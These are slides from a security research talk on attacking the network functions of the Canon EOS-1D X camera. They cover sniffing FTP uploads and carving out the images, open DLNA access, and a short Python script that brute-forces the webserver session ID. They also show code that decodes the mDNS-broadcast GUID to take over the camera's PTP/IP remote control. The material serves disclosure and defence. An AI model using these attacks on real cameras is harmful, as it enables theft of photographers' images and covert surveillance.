Paparazzi over IP

Daniel Mende
dmende@ernw.de
Who we are

- Old-school network geeks, working as security researchers for Germany based ERNW GmbH
  - Independent
  - Deep technical knowledge
  - Structured (assessment) approach
  - Business reasonable recommendations
  - We understand corporate

- Blog: www.insinuator.net

- Conference: www.troopers.de
Agenda

- Intro
- Transport Protocols
- Communication Modes & Attacks
- Conclusions
Intro

- A number of current high-end cameras have network interfaces.
- We did some research as for their security and potential attack paths.
- In the following we focus on Canons new flagship EOS 1D X, but similar problems might be found in other models, of other vendors, too.
The Camera

Canon EOS-1D X
The Camera
A Bit of Marketing

From Canon USA:
- A built in Ethernet port allows for fast, easy transfer of images directly to a PC or via a network to clients from live events.
- The EOS-1D X is compatible with the new WFT-E6A Wireless File Transmitter for wireless LAN transfer with the IEEE 802.11 a/b/g/n standards.
The Camera

The Ethernet Port
The Camera

WLAN Adapter
The Target

aka. Mr. Reuters
The Target
What if

- One could get the real, unedited images first.
- One could upload (bad) images.
- One could turn the camera into a surveillance device.
Transport
The underlying Protocols
Transport

- Wired LAN via built-in Ethernet port or Wireless LAN via WFT-E6A.
- Standard TCP/IP (no IPv6, yet).
Traditional Attacks

Layer 2

- ARP-spoofing possible.
  - No “sticky” ARP entries

- ARP-flooding with ~100 packets per second DoS the network stack.

- Btw. stack also dies if IPv6 (multicast) is present.
Traditional Attacks
Layer 3/4

- TCP/IP is used for all network communication.
- Established connections can be killed via TCP-RST.
Communication Modes
Communication Modes

- FTP Upload Mode
- DLNA
- Built-in webserver
- EOS Utility
FTP Upload Mode
FTP Upload Mode

Mode of operation

- Target server and credentials configured on camera.
- Photos taken are uploaded to the server immediately.
FTP Upload Mode

Downside

- As FTP is clear text, credentials can be sniffed.
- As well as the complete data transmission
- Uploaded pictures can be extracted from network traffic.
<table>
<thead>
<tr>
<th>File</th>
<th>Edit</th>
<th>View</th>
<th>Search</th>
<th>Terminal</th>
<th>Help</th>
</tr>
</thead>
<tbody>
<tr>
<td>[0]@talyranc@catarnix</td>
<td>ls</td>
<td>FTP-Image-trace.cap</td>
<td>[0]@talyranc@catarnix</td>
<td>tcpflow -r FTP-Image-trace.cap</td>
<td></td>
</tr>
</tbody>
</table>

```
192.168.001.103.61313-192.168.001.105.00021
192.168.001.103.61314-192.168.001.105.00020
192.168.001.103.61315-192.168.001.105.00021
192.168.001.103.61316-192.168.001.105.00020
192.168.001.103.61317-192.168.001.105.00021
192.168.001.103.61318-192.168.001.105.00020
192.168.001.103.61319-192.168.001.105.00020
192.168.001.103.61320-192.168.001.105.00020
192.168.001.103.61321-192.168.001.105.00020
192.168.001.103.61322-192.168.001.105.00020
192.168.001.103.61323-192.168.001.105.00020
192.168.001.103.61324-192.168.001.105.00020
```

FTP-Image-trace.cap
```
foremost -i 1 192*
Processing: 192.168.001.103.61313-192.168.001.105.00021
[+]
Processing: 192.168.001.103.61314-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61315-192.168.001.105.00021
[+]
Processing: 192.168.001.103.61316-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61317-192.168.001.105.00021
[+]
Processing: 192.168.001.103.61318-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61319-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61320-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61321-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61322-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61323-192.168.001.105.00020
[+]
Processing: 192.168.001.103.61324-192.168.001.105.00020
```
FTP Upload Mode

Processing: 192.168.001.103.61328-192.168.001.105.00020
[*]
Processing: 192.168.001.103.61329-192.168.001.105.00020
[*]
Processing: 192.168.001.103.61330-192.168.001.105.00020
[*]
Processing: 192.168.001.103.61331-192.168.001.105.00020
[*]
Processing: 192.168.001.105.00021-192.168.001.103.61313
[*]
Processing: 192.168.001.105.00021-192.168.001.103.61315
[*]
Processing: 192.168.001.105.00021-192.168.001.103.61317
[*]
[0]@talynrae@caturix     ]ls
192.168.001.103.61313-192.168.001.105.00021  192.168.001.103.61325-192.168.001.105.00020
192.168.001.103.61314-192.168.001.105.00020  192.168.001.103.61326-192.168.001.105.00020
192.168.001.103.61315-192.168.001.105.00021  192.168.001.103.61327-192.168.001.105.00020
192.168.001.103.61316-192.168.001.105.00020  192.168.001.103.61328-192.168.001.105.00020
192.168.001.103.61317-192.168.001.105.00021  192.168.001.103.61329-192.168.001.105.00020
192.168.001.103.61318-192.168.001.105.00020  192.168.001.103.61330-192.168.001.105.00020
192.168.001.103.61319-192.168.001.105.00020  192.168.001.103.61331-192.168.001.105.00020
192.168.001.103.61320-192.168.001.105.00020  192.168.001.105.00021-192.168.001.103.61313
192.168.001.103.61321-192.168.001.105.00020  192.168.001.105.00021-192.168.001.103.61315
192.168.001.103.61322-192.168.001.105.00020  192.168.001.105.00021-192.168.001.103.61317
192.168.001.103.61323-192.168.001.105.00020  FTP-Image-trace.cap
192.168.001.103.61324-192.168.001.105.00020  output
[0]@talyynrae@caturix     ]ls output/jpg
00000000_10.jpg  00000000_13.jpg  00000000_2.jpg  00000000_5.jpg  00000000_8.jpg
00000000_12.jpg  00000000_1.jpg  00000000_4.jpg  00000000_7.jpg  00000000.jpg
[0]@talyynrae@caturix

DLNA mode
DLNA mode

Overview

- Digital Living Network Alliance®
- UPnP used for discovery.
- DLNA guidelines for file formats, encodings, resolutions.
- HTTP and XML used to access media.
No authentication.
- No restrictions.
- Every DLNA client can download _all_ images.
- Your Browser could be a DLNA client. Or somebody else's browser. For your camera.
Built-in webserver

Always a good idea...
Built-in webservice

Canon WFT Server

- Wireless File Transmitter Server Mode.

- Canon USA:
  “Use a web browser to capture, view and download images remotely”
Built-in webservice

Canon WFT Server

- Browser interface uses AJAX.
- Embedded webservice only capable of HTTP GET method.
  - Every other request method is answered with a 404.
Authentication via HTTP Basic (RFC 2617) on login page.

- Session cookie is used afterwards.

- Cookie looks like `sessionID=40b1`
  - 4 (!!!) byte Session ID
    → 65535 possible IDs
Built-in webserver

- Session ID Brute force implemented in 6 lines of python.

- To check for all possible IDs takes about 20 minutes.
  - Embedded Webserver is not that responsive.
import requests

target_uri = 'http://192.168.1.103/api/cam/lvoutput'
target_string = 'SESSION_ERR'

for i in xrange(0xffffffff):
    if (i != 0 and i%1000 == 0):
        print str(i) + 'IDs checked'
    r = requests.get(target_uri, cookies={'sessionID': '%x' % i})
    if r.text.find(target_string) == -1:
        print 'SessionID is : sessionID=%x' % i
        break
Built-in webservice

- Full access to Live View, stored photos and camera settings.
- You surf – We brute.
Built-in webserver

Requirements

- Camera in WFT Server mode.
- Valid session opened by user.
- Some minutes of time.
EOS Utility mode
aka. I wanna be root
EOS Utility mode

The Utility

- Starts to download images
- Lets you select and download images
- Camera settings/Remote shooting
- Monitor Folder

Control your camera to download images.
EOS Utility mode

The Utility
EOS Utility mode

Overview

- Allows remote control of all non-manual camera functions.
- Pictures can be up- and downloaded.
- Possibly even more (sound recording anyone?)
EOS Utility mode

- SSDP and MDNS used for discovery.
- PTP/IP used for communication.
- Needs initial camera <-> software pairing.
EOS Utility mode

- At first use, credentials needs to be exchanged between the camera and the client software.
- Camera must be put into pairing mode via camera menu.
- Camera signals the need for pairing via MDNS.
Answers

- OWCcb0c96.local: type A, class IN, cache flush, addr 192.168.200.217
- 217.200.168.192.in-addr.arpa: type PTR, class IN, cache flush, OWCcb0c96.local
- ICP0-WFTEOSSystemServicecb0c96._ptp._tcp.local: type SRV, class IN, cache flush, priority 0, weight 0, port 15740, target OWCcb0c96.local
- ICP0-WFTEOSSystemServicecb0c96._ptp._tcp.local: type TXT, class IN, cache flush
  - Name: ICP0-WFTEOSSystemServicecb0c96._ptp._tcp.local
  - Type: TXT (Text strings)
  - .000 0000 0000 0001 = Class: IN (0x0001)
  - 1.... .... = Cache flush: True
  - Time to live: 1 minute
  - Data length: 198
  - Text: srvver.canon.com=1.0
  - Text: mf.canon.com=Canon
  - Text: md.canon.com=Canon Digital Camera
  - Text: md.canon.com=Canon EOS 10 M
  - Text: tid.canon.com=00000000-0000-0000-0001-FFFFFFFFFFFF
  - Text: srvver.canon.com=1.0
  - Text: myhwa.canon.com=888717cb0c96
- _services._mdns._udp.local: type PTR, class IN, _ptp._tcp.local
- _ptp._tcp.local: type PTR, class IN, ICP0-WFTEOSSystemServicecb0c96._ptp._tcp.local
EOS Utility mode

Pairing

![EOS cameras detected on network. Choose a camera for pairing.](image)
EOS Utility mode

Pairing

- Client software connects to camera via PTP/IP.
- PTP/IP Authentication is successful regardless of the credentials.
- Credentials (hostname, GUID) are stored on the camera.
PTP/IP

Feels like USBoIP :-):
PTP/IP

- Picture Transfer Protocol over Internet Protocol.
- ISO 15740.
- Standardized by International Imaging Industry Association
PTP/IP
Packet format

- Wrapper for PTP with header:
  4 byte length (little endian)
  4 byte type  (little endian)
  data
PTP/IP

Layering
PTP/IP

Authentication

- PTPIP_INIT_COMMAND_REQUEST
  - Includes authentication data:
    16 byte GUID
    hostname string
PTPIP_INIT_COMMAND_REQUEST

2a 00 00 00 01 00 00 00  eb 7a 78 9d 69  cb 64 4e
a3 e0 fc 96 ef 59 79 42  73 00 65 00 72 00 76 00
65 00 72 00 00 00 00 00  01 00

Paket length = 42 byte
Paket type = 0x01 = PTPIP_INIT_COMMAND_REQUEST
GUID
Hostname = “server” @ utf16
Trailer
PTP
PTP
Explained

- Picture Transfer Protocol
- Standardized by International Imaging Industry Association
- ISO 15740
- Lots of proprietary vendor extensions.
PTP
Packet format

- Designed for use over USB
- Fixed length

- 2 byte Msg Code
- 4 byte Session ID
- 4 byte Transaction ID
- 5 times 4 byte Parameter or Data
PTP

Message Codes

- Lot of standardized codes like:
  - PTP_GetDeviceInfo
  - PTP_OpenSession
  - PTP_CloseSession
  - PTP_GetStorageIDs

- Also Vendor specific codes like:
  - PTP_CANON_GetCustomizeSpec
  - PTP_CANON_GetCustomizeItemInfo
PTP

Use of

- Thankfully there are some implementations around.
- We decided to go with libgphoto2.
- Basic PTP/IP support is included as well.
The Attack
aka. gottcha
Attack

Getting the Credentials

- Client Hostname easy discoverable, but not needed.
  - Camera also expects connections with a different hostname.

- GUID unknown to client software.
- Obfuscated GUID is broadcasted by the cam via UPNP.
Answers

- **CWCb0c96.local**: type A, class IN, cache flush, addr 192.168.200.217
- **217.200.168.192.in-addr.arpa**: type PTR, class IN, cache flush, CWCb0c96.local
- **ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local**: type SRV, class IN, cache flush, priority 0, weight 0, port 15740, target CWCb0c96.local
- **ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local**: type TXT, class IN, cache flush
  - Name: ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
  - Type: TXT (Text strings)
  - .000 0000 0000 0001 = Class: IN (0x0001)
  - 1... 1 = Cache flush: True
  - Time to live: 1 minute
  - Data length: 198
  - Text: srvver.canon.com=1.0
  - Text: mf.canon.com=Canon
  - Text: md.canon.com=Canon Digital Camera
  - Text: md.canon.com=Canon EOS-1D X
  - **Text: tid.canon.com=9D787AEB-CB69-4E64-A3E0-F96EF597942**
  - Text: srvver.canon.com=888717cb0c96
- **_services._mdns._udp.local**: type PTR, class IN, _ptp._tcp.local
- **_ptp._tcp.local**: type PTR, class IN, ICPO-WFTEOSSystemServicecb0c96._ptp._tcp.local
tmp = mdns_info.getProperties()['tid.canon.com'].split('-')
guid = []
l = lambda s: [s[i:i+2:] for i in xrange(0,len(s),2)][::-1]
for i in xrange(0,3):
    guid += l(tmp[i])
guid += tmp[3]
guid += tmp[4]
guid = ''.join(guid)

 guid = eb7a789d69cb644ea3e0fc96ef597942
The Attack

Connecting to the Camera

- Camera only allows one connection.
- Already connected client needs to be disconnected.
- TCP-RST the established PTP/IP connection.
Listen for the Cam on MDNS.
- De-obfuscate Authentication data.
- Disconnect connected Client Software.
- Connect via PTP/IP.
- Have Phun (-;
Attack outlined

So you can write it down

- Photograph uses hotel / Starbucks WLAN, which isn’t unlikely during events (think of Grammy Awards few days ago).

- Almost anybody in the same LAN can download the images from the camera (and even more).
Countermeasures

- Enable network functionality only in trusted Networks.
- Use WPA and a secure passphrase for (your trusted) WLAN.
Conclusions

- High-end cameras are yet another daily life item equipped with networking capabilities incl. full-blown IP stacks.

- Once more, their device-specific network technologies have been designed and implemented without (too much) security in mind.

- Again, this leads to (classes of) attacks previously unknown to their non-networked counterparts.
Next Steps

New series of DSLRs (EOS 6D)
- Built-in Wireless Access Point
- New communication protocol for IOS/Android App

New series of camcorder (XA20, XA25)
There’s never enough time...

THANK YOU...

...for yours!
Questions?